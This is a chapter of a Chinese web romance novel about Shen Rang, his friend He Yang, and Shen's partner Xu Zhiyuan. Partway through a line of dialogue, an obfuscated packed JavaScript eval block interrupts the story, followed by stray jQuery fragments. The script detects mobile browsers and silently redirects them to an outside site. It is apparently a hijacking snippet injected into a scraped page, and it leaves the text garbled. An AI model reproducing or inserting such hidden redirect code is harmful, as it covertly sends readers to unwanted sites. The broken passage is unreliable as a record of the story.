第204章 你嫌弃我啊?

作品:《换嫁才知,阴湿老公竟是隐藏大佬!

    沈让跟贺扬关系走得这么近,许多事也并没有跟贺扬多说。


    但他不说,不代表贺扬就不知道。


    “沈怀志当年把你接到沈家,根本不是念着跟你妈妈的旧情,只是为了给自己培养一个垫脚的基石,有用的时候,拿出来垫一垫,没用的时候放在角落里积灰。”


    “他把你带回沈家,说是认你这个儿子,结果呢?不闻不问,当你不存在,无论学习资源,人脉资源,通通给的是最基础的。”


    “后来又说送你出国深造,听着挺像模像样的,但是,一分钱不给,丢你一个人在那人生地不熟的地方自生自灭。”


    贺扬至今深刻记得自己跟沈让的第一次见面。


    那个时候,沈让利用节假日休息时间在一家高档餐厅做服务生。


    他与几个朋友一起去吃饭,刚好看见他被一个肥头大耳的外国男人刁难。


    那男人用勺子敲了敲盘沿,像唤狗一样:“听说你们中国人最讲究勤俭节约?我这里还剩这么多,丢了怪可惜的,你要不要帮忙把盘子清了?”


    沈让站着没动,手里端着托盘,脸上是一如既往的冷淡。


    男人又晃了晃手里卷着的那叠钞票,笑得满脸恶意:“不就是穷嘛,非得弄出这么高大上的词汇,来,吃完,这些就是你的了。”


    贺扬当时就坐在不远处,捏着刀叉的手青筋暴起。


    他等着沈让摔盘子走人,或者至少啐那混蛋一口,可他等来的,是沈让放下托盘,在那男人面前坐下来。


    一口一口,把那些残羹剩饭,吃得干干净净。


    贺扬气得浑身发抖,等到沈让过来给他们点餐的时候,忍不住出声奚落,“难怪这辈子只能在这端盘子,就为了那点钱,尊严都不要!”


    沈让抬起眼看他,眼神很平静,平静得像一潭死水。


    “尊严?这位先生,等我什么时候不用为明天有没有饭填饱肚子,这种事而发愁时,可能再来考虑这个问题。”


    贺扬当时并未把那句话放在心上,心底认为那不过是沈让给自己找的一个贪财的借口。


    然而,等他吃饭中途出去接人,他隐约听见餐厅附近一个黑暗的巷子里传出一阵痛哭求饶的声音。


    打架斗殴这种事在国外很常见,他起先没太在意,直到他听见一声正宗的国粹,“你懂什么勤俭节约?你就是个脑满肥肠的大**!”


    他转头望去,就见一个头戴鸭舌帽的高大男人率先从巷子里出来,闪身进了餐厅后门处。


    再过了一会儿,之前在餐厅故意侮辱沈让的那个外国男人,鼻青脸肿,一瘸一拐地走了出来。


    当然,这是后话,贺扬接着刚才的话继续说道。


    “他根本没把你当亲儿子,送你到国外只是一次测验,有能力衣锦还乡,说明你还有点本事,他可以稍加利用,给他沈氏大业添砖加瓦,若是没那个命,死在外面,跟他也没多大关系,反正也是个可有可无的存在。”


    “如果深想公司一开始用你的名义创办,他绝对不会允许它发展壮大,还在摇篮期时就会被他扼杀,同样的道理,你这次心软,放他一次,他不会感激你,只会想尽一切办法,对付你。”


    “对付我?凭他还是沈嘉年?”


    沈让笑了声,语气里是毫不掩饰的轻蔑,以及一种近乎张扬的笃定:“贺扬,你搞错了。我不是对他心软,是没必要。”


    他顿了顿,语气淡下来,像是在陈述一个已经落定的事实,“深想现在的影响力摆在这里,根本不需要你我亲自出手,市场就是最好的刀,有的是人想拿他的份额填自己的盘子。”


    他漆黑的目光看向远处蔚蓝色的天空,那里若隐若现一个扬着温婉笑意的脸庞。


    “让他活在这个世界上,亲眼看着沈氏一点一点在他手中败落,让他知道,就算他舍弃了所有,还是没能留住沈氏,这种过程比杀了他,还要更加令他难受百倍。”


    许知愿是被外面的光线晃醒的,昨晚实在折腾得太疯,她连什么时候,在哪里睡着的都不知道,此时看着头顶的天花板,有种不知今夕何夕的感觉,懒懒翻了个身,恰好看见露台上背对着卧室打电话的男人。


    他修长的双臂随意打开,撑在阳台上,敞着的衬衫下摆被风吹动,像一波又一波涌动的海浪。


    没找到自己的睡衣,她随意裹着沈让宽大的睡袍下床。


    沈让跟贺扬正事已聊完,正听他吐槽过年被家里人强迫去相亲的事。


    “你是不知道,那女的有多奇葩,妆化得像鬼新娘里出来的,满脸煞白,血盆大口,一双眼睛像是被人擂了两拳的大熊猫,黑的发青,我当时差点以为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358680|195745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我走错了地方,进了什么灵异现场。”


    贺扬说得绘声绘色,沈让听着,唇角微勾,刚想接话,忽然听见身后传来一道细微的响动。


    他握着手机转身。


    差点被眼前的一幕吓到心脏骤停。


    要不是还有一丝理智尚存,他几乎以为贺扬刚刚说的那个“鬼新娘”闪现到他面前了。


    一张花里胡哨的小脸怼在他眼前,眼线晕成两团乌黑,眼影糊成一片青紫,口红蹭得满脸都是,衬得那张小脸又狼狈又好笑。


    昨晚的性感小野猫,经过一夜的摧残,俨然变成了一只小脏猫。


    “行了,我知道了,能设身处地感受到你当时的慌张。”


    “不,你感受不到,你…”


    贺扬还要继续说,沈让已经不给他机会,无情地挂断了通话。


    “哥哥,这么早跟谁打电话呢?”


    许知愿眼睛还没完全睁开,说话的声音也带着刚睡醒的软糯。


    沈让深吸一口气,努力忍住想笑的冲动。


    “贺扬,说点工作上的事,我说话声音太大,吵到你了?”


    许知愿摇头,“没有,但你把窗帘拉开了,外面光线好亮。”


    沈让点头,“我的问题,以后注意。”


    他拄拳咳了声,“煮了粥,要不你先去洗漱一下,我去给你盛?”


    许知愿摇头,捂唇打了个呵欠,生理性眼泪沁出来,她随手抹了一把。


    “不想吃,我好累,感觉浑身都没有力气。”


    她边说边往沈让身边走近,伸出手臂,“哥哥,抱抱。”


    沈让眼睁睁看着她眼皮上的黑紫被眼泪晕染,再被小姑娘的手抹出一道蜿蜒的弧度。


    他下意识往后退了一步,“要不,还是先洗漱,再抱抱吧…”


    “干嘛?你嫌弃我啊?”


    许知愿一秒垮脸,红通通的小嘴嘟起,“我就算不洗漱,也是香香的,你上次亲口说的!”


    沈让感觉再忍下去,都要憋成重伤了,为证清白,上前一步,搂住她,在她头顶揉了揉,又响亮地亲了一口。


    “怎么会嫌弃你呢,无论是香香的,还是脏脏的,只要是许知愿,我喜欢都来不及。”